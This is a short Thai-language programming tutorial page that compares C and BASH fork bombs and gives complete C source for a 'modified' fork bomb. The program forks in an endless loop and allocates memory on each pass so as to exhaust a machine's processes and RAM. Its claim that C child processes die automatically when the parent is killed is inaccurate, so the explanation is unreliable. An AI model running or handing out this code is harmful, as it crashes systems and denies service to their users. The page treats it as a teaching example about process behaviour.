Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> การเขียนโปรแกรม >> การเขียนโปรแกรม C

C vs BASH Fork Bomb ใน C/C++


ชัดเจนแล้วว่า BASH fork bomb อันทรงพลังกว่า C version สาเหตุหลักคือใน BASH process ที่สร้างขึ้น detached จาก parent ถ้า parent process (ที่เราเริ่มต้น) ถูก destroy/killed process ที่เหลือยังคงอยู่ แต่ใน C implementation child processes จะตายอัตโนมัติถ้า parent ถูก destroy/killed Script ติดต่อกับ system โดยตรง

Fork bomb program ใน C สามารถปรับเปลี่ยนได้ เราสามารถ allocate memory เวลาสร้าง fork processes

โปรแกรมต่อไปเป็น implementation ของ modified C fork bomb −

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
    // Infinite loop
    while (1){
        // Generating child fork processes
        fork();
        // Allocating memory in RAM
        int *p1 = (int *) malloc (sizeof (int) * 100000);
    }
}